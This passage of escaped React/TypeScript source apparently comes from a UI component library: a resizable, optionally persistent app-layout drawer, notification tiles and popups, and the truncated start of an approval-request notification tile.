},\n      flush: {\n        false: \"\",\n        true: \"\",\n      },\n    },\n    compoundVariants: [\n      { side: \"right\", flush: false, class: \"pr-[var(--spacing-system-m)] py-[var(--spacing-system-m)]\" },\n      { side: \"left\", flush: false, class: \"pl-[var(--spacing-system-m)] py-[var(--spacing-system-m)]\" },\n      { side: \"top\", flush: false, class: \"pt-[var(--spacing-system-m)] px-[var(--spacing-system-m)]\" },\n      { side: \"bottom\", flush: false, class: \"pb-[var(--spacing-system-m)] px-[var(--spacing-system-m)]\" },\n      { side: \"right\", flush: true, class: \"md:pr-[var(--spacing-system-m)] md:py-[var(--spacing-system-m)]\" },\n      { side: \"left\", flush: true, class: \"md:pl-[var(--spacing-system-m)] md:py-[var(--spacing-system-m)]\" },\n      { side: \"top\", flush: true, class: \"md:pt-[var(--spacing-system-m)] md:px-[var(--spacing-system-m)]\" },\n      { side: \"bottom\", flush: true, class: \"md:pb-[var(--spacing-system-m)] md:px-[var(--spacing-system-m)]\" },\n    ],\n    defaultVariants: {\n      side: \"right\",\n      flush: false,\n    },\n  },\n)\n\nconst appLayoutDrawerPanelVariants = cva(\n  \"relative flex flex-col overflow-hidden bg-ods-card outline-none focus:outline-none focus-visible:outline-none\",\n  {\n    variants: {\n      side: {\n        right: \"h-full\",\n        left: \"h-full\",\n        top: \"w-full\",\n        bottom: \"w-full\",\n      },\n      flush: {\n        false: \"gap-4 rounded-md border border-ods-border p-4\",\n        true: \"\",\n      },\n    },\n    compoundVariants: [\n      { side: \"right\", flush: true, class: \"md:rounded-md md:border md:border-ods-border\" },\n      { side: \"left\", flush: true, class: \"md:rounded-md md:border md:border-ods-border\" },\n      { side: \"top\", flush: true, class: \"md:rounded-md md:border md:border-ods-border\" },\n      { side: \"bottom\", flush: true, class: \"md:rounded-md md:border md:border-ods-border\" },\n    ],\n    defaultVariants: {\n      side: \"right\",\n      flush: false,\n    },\n  },\n)\n\nconst HORIZONTAL_SIDES: ReadonlySet<DrawerSide> = new Set([\"left\", \"right\"])\n\n/**\n * Persist mode (`forceMount`) keeps the panel mounted across close, so the\n * `slide-out-*` / `fade-out` exit animations run and then — because\n * `tailwindcss-animate`'s `.animate-out` does NOT set `animation-fill-mode:\n * forwards` — the panel/overlay snap back to their resting frame (on-screen,\n * opacity 1). The element ends up fully visible again, which reads as \"the\n * drawer won't close\" (and dims the whole content area via the backdrop).\n *\n * Pinning `fill-mode: forwards` for the closed state holds the exit animation's\n * final frame (off-screen / transparent) after it ends. It can't be replaced by\n * a static resting transform/opacity: that would override the animation's\n * `from` value (= current computed style) and collapse the animation to a no-op.\n *\n * Not applied without persist — Radix unmounts `Content` after the animation,\n * so there's nothing to snap back.\n */\nconst PERSIST_CLOSED_HOLD = \"data-[state=closed]:fill-mode-forwards\"\n\nfunction clamp(value: number, min: number, max: number): number {\n  if (max < min) return min\n  return Math.min(max, Math.max(min, value))\n}\n\ninterface UseContainedResizableSizeArgs {\n  enabled: boolean\n  isHorizontal: boolean\n  minSize: number\n  maxSize: number\n  defaultSize: number\n  storageKey?: string\n  container: HTMLElement | null\n}\n\nfunction useContainedResizableSize({\n  enabled,\n  isHorizontal,\n  minSize,\n  maxSize,\n  defaultSize,\n  storageKey,\n  container,\n}: UseContainedResizableSizeArgs) {\n  const [available, setAvailable] = React.useState(0)\n\n  React.useEffect(() => {\n    if (!enabled || !container) return\n    const update = () => {\n      setAvailable(isHorizontal ? container.clientWidth : container.clientHeight)\n    }\n    update()\n    const ro = new ResizeObserver(update)\n    ro.observe(container)\n    return () => ro.disconnect()\n  }, [enabled, container, isHorizontal])\n\n  const clampToContainer = React.useCallback(\n    (value: number) => {\n      // Reserve 40px (the `system-m` outside-edge padding from the wrapper\n      // plus a matching gap on the inside edge) so the panel sits symmetrically\n      // inside the container. This also keeps the resize grip on-screen at\n      // maximum extent.\n      const effectiveMax = available > 0 ? Math.min(maxSize, available - 40) : maxSize\n      return clamp(value, minSize, Math.max(minSize, effectiveMax))\n    },\n    [available, minSize, maxSize],\n  )\n\n  const readInitial = React.useCallback(() => {\n    if (!enabled) return defaultSize\n    if (typeof window === \"undefined\") return defaultSize\n    if (!storageKey) return defaultSize\n    try {\n      const raw = window.localStorage.getItem(storageKey)\n      if (!raw) return defaultSize\n      const parsed = parseFloat(raw)\n      if (!Number.isFinite(parsed)) return defaultSize\n      return parsed\n    } catch {\n      return defaultSize\n    }\n  }, [enabled, storageKey, defaultSize])\n\n  const [size, setSizeRaw] = React.useState<number>(readInitial)\n\n  const setSize = React.useCallback(\n    (next: number) => setSizeRaw(clampToContainer(next)),\n    [clampToContainer],\n  )\n\n  React.useEffect(() => {\n    if (!enabled || !storageKey || typeof window === \"undefined\") return\n    try {\n      window.localStorage.setItem(storageKey, String(Math.round(size)))\n    } catch {\n      // ignore quota / disabled-storage\n    }\n  }, [enabled, size, storageKey])\n\n  // Re-clamp the stored size whenever the container resizes so a previously\n  // saved size never overflows after the user shrinks the viewport.\n  React.useEffect(() => {\n    if (!enabled) return\n    setSizeRaw((prev) => clampToContainer(prev))\n  }, [enabled, clampToContainer])\n\n  return { size, setSize }\n}\n\ninterface AppLayoutDrawerResizeHandleProps {\n  side: DrawerSide\n  size: number\n  minSize: number\n  maxSize: number\n  onSize: (next: number) => void\n  ariaLabel?: string\n}\n\nfunction AppLayoutDrawerResizeHandle({\n  side,\n  size,\n  minSize,\n  maxSize,\n  onSize,\n  ariaLabel,\n}: AppLayoutDrawerResizeHandleProps) {\n  const isHorizontal = HORIZONTAL_SIDES.has(side)\n  const startRef = React.useRef<{ x: number; y: number; size: number } | null>(null)\n\n  const direction = side === \"right\" || side === \"bottom\" ? -1 : 1\n\n  const handlePointerDown = (e: React.PointerEvent<HTMLDivElement>) => {\n    if (e.button !== 0 && e.pointerType === \"mouse\") return\n    e.preventDefault()\n    startRef.current = { x: e.clientX, y: e.clientY, size }\n    e.currentTarget.setPointerCapture(e.pointerId)\n    document.body.style.cursor = isHorizontal ? \"col-resize\" : \"row-resize\"\n    document.body.style.userSelect = \"none\"\n  }\n\n  const handlePointerMove = (e: React.PointerEvent<HTMLDivElement>) => {\n    const start = startRef.current\n    if (!start) return\n    const delta = isHorizontal ? e.clientX - start.x : e.clientY - start.y\n    onSize(start.size + delta * direction)\n  }\n\n  const endDrag = (e: React.PointerEvent<HTMLDivElement>) => {\n    if (!startRef.current) return\n    startRef.current = null\n    try {\n      e.currentTarget.releasePointerCapture(e.pointerId)\n    } catch {\n      // ignore — pointer may already be released\n    }\n    document.body.style.cursor = \"\"\n    document.body.style.userSelect = \"\"\n  }\n\n  const handleKeyDown = (e: React.KeyboardEvent<HTMLDivElement>) => {\n    const step = e.shiftKey ? 40 : 16\n    if (isHorizontal) {\n      if (e.key === \"ArrowLeft\") {\n        e.preventDefault()\n        onSize(size + step * (side === \"right\" ? 1 : -1))\n      } else if (e.key === \"ArrowRight\") {\n        e.preventDefault()\n        onSize(size + step * (side === \"right\" ? -1 : 1))\n      }\n    } else {\n      if (e.key === \"ArrowUp\") {\n        e.preventDefault()\n        onSize(size + step * (side === \"bottom\" ? 1 : -1))\n      } else if (e.key === \"ArrowDown\") {\n        e.preventDefault()\n        onSize(size + step * (side === \"bottom\" ? -1 : 1))\n      }\n    }\n    if (e.key === \"Home\") {\n      e.preventDefault()\n      onSize(minSize)\n    } else if (e.key === \"End\") {\n      e.preventDefault()\n      onSize(maxSize)\n    }\n  }\n\n  const trackPosition =\n    side === \"right\"\n      ? \"right-full top-4 bottom-4 w-6 items-center justify-end pr-1\"\n      : side === \"left\"\n        ? \"left-full top-4 bottom-4 w-6 items-center justify-start pl-1\"\n        : side === \"bottom\"\n          ? \"bottom-full left-4 right-4 h-6 justify-center items-end pb-1\"\n          : \"top-full left-4 right-4 h-6 justify-center items-start pt-1\"\n\n  const cursorClass = isHorizontal ? \"cursor-col-resize\" : \"cursor-row-resize\"\n  const gripClass = isHorizontal ? \"h-10 w-1\" : \"w-10 h-1\"\n\n  return (\n    <div\n      role=\"separator\"\n      tabIndex={0}\n      aria-orientation={isHorizontal ? \"vertical\" : \"horizontal\"}\n      aria-valuenow={Math.round(size)}\n      aria-valuemin={minSize}\n      aria-valuemax={maxSize}\n      aria-label={\n        ariaLabel ?? (isHorizontal ? \"Resize panel width\" : \"Resize panel height\")\n      }\n      onPointerDown={handlePointerDown}\n      onPointerMove={handlePointerMove}\n      onPointerUp={endDrag}\n      onPointerCancel={endDrag}\n      onKeyDown={handleKeyDown}\n      className={cn(\n        \"group absolute z-20 flex select-none touch-none\",\n        \"outline-none ring-0 focus:outline-none focus:ring-0 focus-visible:outline-none focus-visible:ring-0\",\n        trackPosition,\n        cursorClass,\n      )}\n    >\n      <div\n        aria-hidden\n        className={cn(\n          \"rounded-full bg-ods-border\",\n          gripClass,\n        )}\n      />\n    </div>\n  )\n}\n\nexport interface AppLayoutDrawerContentProps\n  extends Omit<\n      React.ComponentPropsWithoutRef<typeof DialogPrimitive.Content>,\n      \"style\"\n    >,\n    VariantProps<typeof appLayoutDrawerVariants> {\n  flush?: boolean\n  resizable?: boolean\n  minSize?: number\n  maxSize?: number\n  defaultSize?: number\n  storageKey?: string\n  /** Pixel breakpoint below which `resizable` is disabled and inline size is\n   *  not applied (so the panel can render full-area on mobile). Defaults to\n   *  800 — the library's Tailwind `md` breakpoint, so the JS mobile switch\n   *  and the `md:` panel styles flip together. */\n  mobileBreakpoint?: number\n  overlayClassName?: string\n  resizeAriaLabel?: string\n  style?: React.CSSProperties\n  panelStyle?: React.CSSProperties\n  panelClassName?: string\n  /** Override the portal container. Defaults to AppLayout's main-area container\n   *  (from context). Pass `null` to opt out of portaling. */\n  container?: HTMLElement | null\n  /** Keep the panel mounted across close so its subtree state survives an\n   *  open → close → open cycle (no remount, no refetch, no flicker). Lazy:\n   *  nothing renders until the first open; after that the panel stays mounted\n   *  (Radix `forceMount`) and the slide animation runs off `data-state`.\n   *  Default `false` — preserves the standard unmount-on-close behaviour for\n   *  every other consumer. */\n  keepMounted?: boolean\n  /** When `true` (default), clicks on the dim overlay over the main content\n   *  area close the drawer. Clicks on AppLayout chrome (header, sidebar) NEVER\n   *  close the drawer regardless of this flag — chrome interactions shouldn't\n   *  accidentally dismiss a persistent panel. Pass `false` to make the drawer\n   *  fully persistent (X button or Escape only). Consumer-provided\n   *  `onInteractOutside` still runs first and can preventDefault to override. */\n  dismissOnInteractOutside?: boolean\n  /** Debug helper — when `true`, on each open the component snapshots the\n   *  scroll metrics (scrollLeft / scrollWidth / clientWidth / overflow-x) of\n   *  every ancestor of the portal container, at mount, after RAF, +150ms,\n   *  +350ms, and on close. Use to diagnose layout-shift on open: look for an\n   *  ancestor that gains `scrollLeft > 0` or has `overflow-x: visible` while\n   *  `scrollWidth > clientWidth`. Remove the prop once diagnosed. */\n  debugLayoutShift?: boolean\n}\n\nconst AppLayoutDrawerContent = React.forwardRef<\n  React.ComponentRef<typeof DialogPrimitive.Content>,\n  AppLayoutDrawerContentProps\n>(\n  (\n    {\n      side = \"right\",\n      flush = false,\n      resizable = false,\n      minSize = 320,\n      // No upper cap by default — the AppLayout container width is the natural\n      // limit. Consumers can still pass an explicit `maxSize` to clamp tighter.\n      maxSize = Number.POSITIVE_INFINITY,\n      defaultSize,\n      storageKey,\n      mobileBreakpoint = 800,\n      overlayClassName,\n      resizeAriaLabel,\n      className,\n      style,\n      panelStyle,\n      panelClassName,\n      container,\n      dismissOnInteractOutside = true,\n      onInteractOutside,\n      debugLayoutShift = false,\n      keepMounted = false,\n      children,\n      ...props\n    },\n    ref,\n  ) => {\n    const contextContainer = useAppLayoutDrawerContainer()\n    const portalContainer = container !== undefined ? container : contextContainer\n    const open = React.useContext(DrawerOpenContext)\n\n    // Persist mode: lazily mount on the first open, then never unmount. Radix\n    // unmounts `Dialog.Content` on close by default, which would wipe the\n    // panel's subtree state (and trigger a full refetch) on every reopen.\n    // `forceMount` keeps it mounted; `hasOpened` defers that until the user\n    // opens the panel at least once (no work, no exit-animation flash before\n    // first open).\n    // Seed from `open` so an initially-open (defaultOpen / controlled open=true)\n    // drawer mounts on the first paint instead of flashing `null` for one frame.\n    const [hasOpened, setHasOpened] = React.useState<boolean>(Boolean(open))\n    React.useEffect(() => {\n      if (open) setHasOpened(true)\n    }, [open])\n    const persist = keepMounted && hasOpened\n\n    // Diagnostic: walk ancestors and snapshot horizontal-scroll metrics\n    // around the open transition. See `debugLayoutShift` prop doc.\n    React.useEffect(() => {\n      if (!debugLayoutShift) return\n      if (!open) return\n      if (typeof window === \"undefined\") return\n      if (!portalContainer) return\n\n      const collect = () => {\n        const list: Element[] = []\n        let el: Element | null = portalContainer\n        while (el) {\n          list.push(el)\n          el = el.parentElement\n        }\n        // Add documentElement explicitly in case ancestor chain stopped early.\n        if (!list.includes(document.documentElement)) {\n          list.push(document.documentElement)\n        }\n        return list\n      }\n\n      const snapshot = (label: string) => {\n        const data = collect().map((el, i) => {\n          const cs = window.getComputedStyle(el)\n          const overflows = el.scrollWidth > el.clientWidth\n          const cls = String((el as HTMLElement).className ?? \"\")\n            .replace(/\\s+/g, \" \")\n            .slice(0, 60)\n          return {\n            depth: i,\n            tag:\n              el.tagName.toLowerCase() +\n              ((el as HTMLElement).id ? \"#\" + (el as HTMLElement).id : \"\"),\n            class: cls,\n            \"overflow-x\": cs.overflowX,\n            scrollLeft: el.scrollLeft,\n            scrollWidth: el.scrollWidth,\n            clientWidth: el.clientWidth,\n            hOverflow: overflows ? \"⚠️\" : \"\",\n          }\n        })\n        // eslint-disable-next-line no-console\n        console.groupCollapsed(`[AppLayoutDrawer] ${label}`)\n        // eslint-disable-next-line no-console\n        console.table(data)\n        // eslint-disable-next-line no-console\n        console.groupEnd()\n      }\n\n      snapshot(\"open: t0 (mount)\")\n      const raf = requestAnimationFrame(() => snapshot(\"open: t≈16ms (RAF 1)\"))\n      const t150 = window.setTimeout(() => snapshot(\"open: t≈150ms (mid-anim)\"), 150)\n      const t350 = window.setTimeout(() => snapshot(\"open: t≈350ms (post-anim)\"), 350)\n\n      return () => {\n        cancelAnimationFrame(raf)\n        clearTimeout(t150)\n        clearTimeout(t350)\n        snapshot(\"close\")\n      }\n    }, [open, portalContainer, debugLayoutShift])\n\n    const resolvedSide: DrawerSide = side ?? \"right\"\n    const isHorizontal = HORIZONTAL_SIDES.has(resolvedSide)\n    const initialSize = defaultSize ?? (isHorizontal ? 560 : 480)\n\n    const [isMobile, setIsMobile] = React.useState(false)\n    React.useEffect(() => {\n      if (typeof window === \"undefined\") return\n      const mq = window.matchMedia(`(max-width: ${mobileBreakpoint - 1}px)`)\n      const update = () => setIsMobile(mq.matches)\n      update()\n      mq.addEventListener(\"change\", update)\n      return () => mq.removeEventListener(\"change\", update)\n    }, [mobileBreakpoint])\n\n    const { size, setSize } = useContainedResizableSize({\n      enabled: resizable,\n      isHorizontal,\n      minSize,\n      maxSize,\n      defaultSize: initialSize,\n      storageKey,\n      container: portalContainer,\n    })\n\n    const applyInlineSize = resizable && !isMobile\n    const sizeStyle: React.CSSProperties = applyInlineSize\n      ? isHorizontal\n        ? { width: size }\n        : { height: size }\n      : {}\n\n    // Persist mode, pre-first-open: render nothing so the panel mounts lazily.\n    // (All hooks above run unconditionally — this early return is hooks-safe.)\n    if (keepMounted && !hasOpened) return null\n\n    return (\n      <DialogPrimitive.Portal container={portalContainer} forceMount={persist || undefined}>\n        {/* Overlay rendered manually: Radix's DialogPrimitive.Overlay returns\n            null in non-modal mode, so we render a plain div here. Setting\n            `pointer-events-auto` ensures it catches clicks on the main area\n            so they don't fall through to buttons underneath — that would\n            otherwise fire both Radix's outside-close AND the button's\n            own onClick, producing a close-then-reopen flicker. */}\n        <div\n          aria-hidden\n          data-state={open ? \"open\" : \"closed\"}\n          className={cn(\n            \"absolute inset-0 z-[102] outline-none data-[state=open]:pointer-events-auto data-[state=closed]:pointer-events-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n            OVERLAY_BACKDROP_CLASS,\n            // Persist mode only: hold the fade-out's final (transparent) frame\n            // so the backdrop doesn't snap back to opacity 1 and dim the whole\n            // content area while the drawer is \"closed\" (see PERSIST_CLOSED_HOLD).\n            persist && PERSIST_CLOSED_HOLD,\n            overlayClassName,\n          )}\n        />\n        <DialogPrimitive.Content\n          ref={ref}\n          forceMount={persist || undefined}\n          // Persist mode: the panel stays mounted while closed (slid off-screen\n          // by the exit animation). Make sure that off-screen content can't\n          // catch clicks or be reached by tab/screen-reader.\n          {...(persist && !open\n            ? { inert: true as const, \"aria-hidden\": true }\n            : {})}\n          className={cn(\n            appLayoutDrawerVariants({ side, flush }),\n            // Mobile: span the whole container and drop the outer gap so the\n            // panel renders edge-to-edge full-screen. (`p-0` overrides the\n            // variant's wrapper padding via tailwind-merge.)\n            isMobile && \"inset-0 p-0\",\n            \"data-[state=closed]:pointer-events-none\",\n            // Persist mode only: hold the slide-out's final (off-screen) frame\n            // so the panel doesn't snap back into view (see PERSIST_CLOSED_HOLD).\n            persist && PERSIST_CLOSED_HOLD,\n          )}\n          style={style}\n          onInteractOutside={(event) => {\n            onInteractOutside?.(event)\n            if (event.defaultPrevented) return\n            // Chrome (header, sidebar) sits OUTSIDE the portal container.\n            // Those clicks never dismiss — they navigate, etc. Only clicks\n            // INSIDE the portal container (the overlay over main) can dismiss.\n            const target = event.target as Node | null\n            const isInsideContainer =\n              !!target && !!portalContainer?.contains(target)\n            if (!isInsideContainer) {\n              event.preventDefault()\n              return\n            }\n            if (!dismissOnInteractOutside) event.preventDefault()\n          }}\n          {...props}\n        >\n          {/* The resize grip sits just OUTSIDE the panel's inner edge\n              (`right-full` etc.), so the wrapper's `translateX(100%)` close\n              transform doesn't carry it off-screen — it stays as a ~12px sliver\n              at the container edge. In persist mode it's also non-interactive\n              while closed, so drop it entirely until the panel reopens. */}\n          {applyInlineSize && (!persist || open) ? (\n            <AppLayoutDrawerResizeHandle\n              side={resolvedSide}\n              size={size}\n              minSize={minSize}\n              maxSize={maxSize}\n              onSize={setSize}\n              ariaLabel={resizeAriaLabel}\n            />\n          ) : null}\n          <div\n            className={cn(\n              appLayoutDrawerPanelVariants({ side, flush }),\n              // Mobile: fill the container (the side already pins one axis) and\n              // drop the card chrome so the panel is edge-to-edge full-screen.\n              // Inner padding/gap is preserved so content isn't glued to the\n              // edges. tailwind-merge lets these override the variant classes.\n              isMobile && (isHorizontal ? \"w-full\" : \"h-full\"),\n              isMobile && \"rounded-none border-0\",\n              className,\n              panelClassName,\n            )}\n            style={{ ...sizeStyle, ...panelStyle }}\n          >\n            {children}\n          </div>\n        </DialogPrimitive.Content>\n      </DialogPrimitive.Portal>\n    )\n  },\n)\nAppLayoutDrawerContent.displayName = \"AppLayoutDrawerContent\"\n\n// Sub-components are visually identical to the base Drawer's — re-export as\n// aliases so the namespace stays consistent for consumers.\nconst AppLayoutDrawerHeader = DrawerHeader\nconst AppLayoutDrawerTitle = DrawerTitle\nconst AppLayoutDrawerDescription = DrawerDescription\nconst AppLayoutDrawerBody = DrawerBody\nconst AppLayoutDrawerFooter = DrawerFooter\n\nexport {\n  AppLayoutDrawerRoot as AppLayoutDrawer,\n  AppLayoutDrawerTrigger,\n  AppLayoutDrawerClose,\n  AppLayoutDrawerContent,\n  AppLayoutDrawerHeader,\n  AppLayoutDrawerTitle,\n  AppLayoutDrawerDescription,\n  AppLayoutDrawerBody,\n  AppLayoutDrawerFooter,\n}\n","'use client'\n\nimport { useMemo, useEffect, useState, type ReactNode } from 'react'\nimport { CheckCircleIcon } from '../../icons-v2-generated/signs-and-symbols/check-circle-icon'\nimport { XmarkIcon } from '../../icons-v2-generated/signs-and-symbols/xmark-icon'\nimport { dotColorByVariant, progressColorByVariant } from '../../ui/toaster'\nimport { cn } from '../../../utils/cn'\nimport { formatTicketRelativeTime } from '../../../utils/date-utils'\nimport type { Notification, NotificationSeverity, NotificationVariant } from './types'\n\n/** Backend severity → tile color variant; overrides `notification.variant` when present. */\nconst variantBySeverity: Record<NotificationSeverity, NotificationVariant> = {\n  INFO: 'info',\n  SUCCESS: 'success',\n  WARNING: 'warning',\n  DANGER: 'error',\n}\n\n/** Severity color applied to the header type label and icon slot. */\nconst typeColorByVariant: Record<NotificationVariant, string> = {\n  default: 'text-ods-text-secondary',\n  info: 'text-ods-text-secondary',\n  success: 'text-ods-success',\n  warning: 'text-ods-warning',\n  error: 'text-ods-error',\n}\n\nconst headerControlClass =\n  'absolute inset-0 flex items-center justify-center text-ods-text-secondary transition-opacity duration-200 hover:text-ods-text-primary'\n\nexport interface NotificationTileProps {\n  notification: Notification\n  liveDurationMs?: number\n  onComplete: (id: string) => void\n  onSettle?: (id: string) => void\n  className?: string\n  /** Action row rendered below the body inside the padded section (e.g. approval buttons). */\n  actions?: ReactNode\n  /**\n   * Extra content rendered below the padded section (e.g. a collapsible approval command\n   * section). Bring your own top divider — the tile no longer draws one, so a zero-height\n   * collapsed child doesn't leave a stray border above the card's bottom edge.\n   */\n  children?: ReactNode\n  /** Pin the tile: cancel the live auto-dismiss countdown (timer + progress bar) without settling it. */\n  paused?: boolean\n}\n\nexport function NotificationTile({\n  notification,\n  liveDurationMs = 4000,\n  onComplete,\n  onSettle,\n  className,\n  actions,\n  children,\n  paused = false,\n}: NotificationTileProps) {\n  const {\n    id,\n    variant = 'default',\n    severity,\n    type,\n    icon,\n    imageUrl,\n    title,\n    description,\n    createdAt,\n    read,\n    settled,\n  } = notification\n\n  // Unknown severity strings (backend data can outrun the union) degrade to `variant`.\n  const accentVariant = (severity ? variantBySeverity[severity] : undefined) ?? variant\n\n  // A blocked/broken image (ad-blockers routinely kill external avatars) falls\n  // through to the icon/category/dot chain instead of a broken-image glyph.\n  const [failedImageUrl, setFailedImageUrl] = useState<string | null>(null)\n  const image = imageUrl && imageUrl !== failedImageUrl ? imageUrl : undefined\n\n  // Gate on the Date, not the number: NaN, Infinity AND finite-but-out-of-range\n  // epochs (e.g. nanoseconds) all make toISOString() throw.\n  const createdAtDate = new Date(createdAt)\n  const createdAtIso = Number.isNaN(createdAtDate.getTime()) ? null : createdAtDate.toISOString()\n\n  const initialElapsed = useMemo(() => Date.now() - createdAt, [createdAt])\n  const isLive = !read && !settled && initialElapsed < liveDurationMs\n  const counting = isLive && !paused\n\n  useEffect(() => {\n    if (!counting) return\n    const remaining = Math.max(0, liveDurationMs - initialElapsed)\n    const timer = window.setTimeout(() => {\n      onSettle?.(id)\n    }, remaining)\n    return () => window.clearTimeout(timer)\n  }, [id, counting, initialElapsed, liveDurationMs, onSettle])\n\n  return (\n    <output\n      className={cn(\n        'relative block w-full shrink-0 overflow-hidden rounded-md border border-ods-border bg-ods-card',\n        className,\n      )}\n    >\n      <div\n        className={cn(\n          'relative flex flex-col gap-[var(--spacing-system-xs)] p-[var(--spacing-system-s)]',\n          isLive && 'pb-[var(--spacing-system-m)]',\n        )}\n      >\n        {/* Header: icon/image + type label (both severity-colored) + time + dismiss/complete control. */}\n        <div className=\"flex items-center gap-[var(--spacing-system-xs)]\">\n          <span\n            className={cn(\n              'flex size-4 shrink-0 items-center justify-center',\n              typeColorByVariant[accentVariant],\n            )}\n          >\n            {image ? (\n              <img\n                src={image}\n                alt=\"\"\n                onError={() => setFailedImageUrl(image)}\n                className=\"size-4 rounded-[2px] object-cover\"\n              />\n            ) : (\n              icon ?? <span className={cn('size-1.5 rounded-full', dotColorByVariant[accentVariant])} />\n            )}\n          </span>\n\n          {type ? (\n            <p\n              className={cn('min-w-0 flex-1 truncate text-h5', typeColorByVariant[accentVariant])}\n              title={type}\n            >\n              {type}\n            </p>\n          ) : (\n            <span className=\"min-w-0 flex-1\" />\n          )}\n\n          {!isLive && createdAtIso ? (\n            <time\n              dateTime={createdAtIso}\n              className=\"shrink-0 whitespace-nowrap text-h6 text-ods-text-secondary\"\n            >\n              {formatTicketRelativeTime(createdAtIso)}\n            </time>\n          ) : null}\n\n          {/* Live X and settled check swap in the same 16px slot; the inactive\n              one is removed from the a11y tree and disabled, not just faded. */}\n          <span className=\"relative size-4 shrink-0\">\n            {[\n              { active: isLive, label: 'Dismiss notification', icon: <XmarkIcon size={16} />, onClick: () => onSettle?.(id) },\n              { active: !isLive, label: 'Mark notification complete', icon: <CheckCircleIcon size={16} />, onClick: () => onComplete(id) },\n            ].map(({ active, label, icon, onClick }) => (\n              <button\n                key={label}\n                type=\"button\"\n                onClick={onClick}\n                aria-label={label}\n                aria-hidden={!active}\n                disabled={!active}\n                tabIndex={active ? 0 : -1}\n                className={cn(headerControlClass, !active && 'pointer-events-none opacity-0')}\n              >\n                {icon}\n              </button>\n            ))}\n          </span>\n        </div>\n\n        <div className=\"flex min-w-0 flex-col\">\n          {title ? <p className=\"truncate text-h4 text-ods-text-primary\" title={typeof title === 'string' ? title : undefined}>{title}</p> : null}\n          {description ? (\n            <p className=\"text-h6 line-clamp-3 text-ods-text-secondary\" title={typeof description === 'string' ? description : undefined}>{description}</p>\n          ) : null}\n        </div>\n\n        {actions}\n\n        {/* Progress sits at the section's bottom edge (above any children). */}\n        {counting ? (\n          <div\n            aria-hidden\n            className={cn(\n              'absolute inset-x-0 -bottom-px h-1 origin-left',\n              progressColorByVariant[accentVariant],\n            )}\n            style={{\n              animation: `toast-progress ${liveDurationMs}ms linear forwards`,\n              animationDelay: `-${initialElapsed}ms`,\n            }}\n          />\n        ) : null}\n      </div>\n\n      {children}\n    </output>\n  )\n}\n","'use client'\n\nimport type { KeyboardEvent, MouseEvent } from 'react'\nimport { cn } from '../../../utils/cn'\nimport type { RenderNotificationTile } from './types'\nimport { useOptionalNotifications } from './notifications-context'\nimport { NotificationTile } from './notification-tile'\nimport type { Notification } from './types'\n\nexport type NotificationPopupsPosition =\n  | 'top-right'\n  | 'top-left'\n  | 'bottom-right'\n  | 'bottom-left'\n\nexport interface NotificationPopupsProps {\n  className?: string\n  liveDurationMs?: number\n  maxVisible?: number\n  position?: NotificationPopupsPosition\n  hideWhenDrawerOpen?: boolean\n  renderTile?: RenderNotificationTile\n}\n\nconst positionClasses: Record<NotificationPopupsPosition, string> = {\n  'top-right': 'top-4 right-4',\n  'top-left': 'top-4 left-4',\n  'bottom-right': 'bottom-4 right-4 flex-col-reverse',\n  'bottom-left': 'bottom-4 left-4 flex-col-reverse',\n}\n\nexport function NotificationPopups({\n  className,\n  liveDurationMs = 4000,\n  maxVisible = 4,\n  position = 'top-right',\n  hideWhenDrawerOpen = true,\n  renderTile: renderTileProp,\n}: NotificationPopupsProps) {\n  const ctx = useOptionalNotifications()\n  if (!ctx) return null\n\n  const { notifications, showPopups, isOpen, open, markRead, markSettled, renderTile: ctxRenderTile } = ctx\n  const renderTile = renderTileProp ?? ctxRenderTile\n\n  if (!showPopups) return null\n  if (hideWhenDrawerOpen && isOpen) return null\n\n  const now = Date.now()\n  const live = notifications\n    .filter((n) => !n.read && !n.settled && now - n.createdAt < liveDurationMs)\n    .slice(0, maxVisible)\n\n  if (live.length === 0) return null\n\n  const activate = (notification: Notification) => {\n    if (notification.onClick) {\n      notification.onClick()\n      markRead(notification.id)\n      markSettled(notification.id)\n      return\n    }\n    open()\n    markSettled(notification.id)\n  }\n\n  const handleBodyClick = (notification: Notification) => (event: MouseEvent<HTMLDivElement>) => {\n    // Nested interactive controls (X, check button) handle their own actions.\n    if ((event.target as HTMLElement).closest('button')) return\n    activate(notification)\n  }\n\n  const handleBodyKeyDown = (notification: Notification) => (event: KeyboardEvent<HTMLDivElement>) => {\n    if ((event.target as HTMLElement).closest('button')) return\n    if (event.key !== 'Enter' && event.key !== ' ') return\n    event.preventDefault()\n    activate(notification)\n  }\n\n  return (\n    <div\n      aria-live=\"polite\"\n      className={cn(\n        'pointer-events-none fixed z-[9999] flex w-[26rem] max-w-[calc(100vw-2rem)] flex-col gap-[var(--spacing-system-xs)]',\n        positionClasses[position],\n        className,\n      )}\n    >\n      {live.map((n) => {\n        const custom = renderTile?.(n, { onComplete: markRead, onSettle: markSettled, liveDurationMs })\n        if (custom) {\n          return (\n            <div key={n.id} className=\"pointer-events-auto\">\n              {custom}\n            </div>\n          )\n        }\n        return (\n          // biome-ignore lint/a11y/useSemanticElements: nested interactive elements forbid <button>\n          <div\n            key={n.id}\n            role=\"button\"\n            tabIndex={0}\n            onClick={handleBodyClick(n)}\n            onKeyDown={handleBodyKeyDown(n)}\n            className=\"pointer-events-auto cursor-pointer rounded-md focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent\"\n          >\n            <NotificationTile\n              notification={n}\n              liveDurationMs={liveDurationMs}\n              onComplete={markRead}\n              onSettle={markSettled}\n            />\n          </div>\n        )\n      })}\n    </div>\n  )\n}\n","'use client'\n\nimport { useMemo, useState } from 'react'\nimport { Button } from '../../ui/button'\nimport { ApprovalBatchMessage, ApprovalStatusTag } from '../../chat/approval-batch-message'\nimport { ExpandChevron } from '../../chat/expand-chevron'\nimport { useCollapsible } from '../../chat/hooks/use-collapsible'\nimport type { ChatApprovalStatus } from '../../chat/types'\nimport { NotificationTile } from './notification-tile'\nimport { approvalMetaToBatchData, getApprovalMeta, resolutionToStatus } from './types'\nimport type { Notification } from './types'\n\nexport interface ApprovalRequestNotificationTileProps {\n  notification: Notification\n  onApprove: (approvalRequestId: string) => void | Promise<void>\n  onReject: (approvalRequestId: string) => void | Promise<void>\n  onComplete: (id: string) => void\n  onSettle?: (id: string) => void\n  liveDurationMs?: number\n  defaultExpanded?: boolean\n  className?: string\n}\n\nexport function ApprovalRequestNotificationTile({\n  notification,\n  onApprove,\n  onReject,\n  onComplete,\n  onSettle,\n  liveDurationMs,\n  defaultExpanded = false,\n  className,\n}: ApprovalRequestNotificationTileProps) {\n  const 